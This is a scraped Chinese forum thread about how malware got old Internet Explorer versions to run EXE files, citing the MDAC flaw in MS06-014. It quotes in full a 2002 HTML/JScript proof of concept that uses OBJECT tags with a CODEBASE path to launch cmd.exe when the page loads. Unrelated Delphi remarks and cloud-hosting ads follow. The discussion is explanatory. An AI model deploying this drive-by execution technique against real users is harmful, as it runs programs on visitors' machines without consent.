那些病毒不是OCX，而是EXE檔案。
那麼他怎麼讓你的機器運行那些exe檔案的??
ie6以前的版本可以實現
是EXE檔案是利用了MDAC的一個漏洞
詳細情況請見微軟資訊安全諮詢:http://www.microsoft.com/china/technet/security/bulletin/MS06-014.mspx
最新研究報告:
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<SCRIPT language=JScript>
var programName=new Array(
'c:/windows/system32/cmd.exe',
'c:/winnt/system32/cmd.exe',
'c:/cmd.exe'
);
function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}
</SCRIPT>
</head>
<BODY onload="Init()">
<p>
This page doesn't do anything malicious(這個頁面沒有任何惡意), but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!(但它示範了如何在一個遠程機上使用令人驚異的安全的IE瀏覽器執行一個程式!!有點諷刺微軟的IE的味道,即通過IE執行用戶端機中的程式)
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
Delphi中的人氣實在不怎麼樣！！！
去他媽的，自己解決了。
怎麼解決的,能不能告知
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
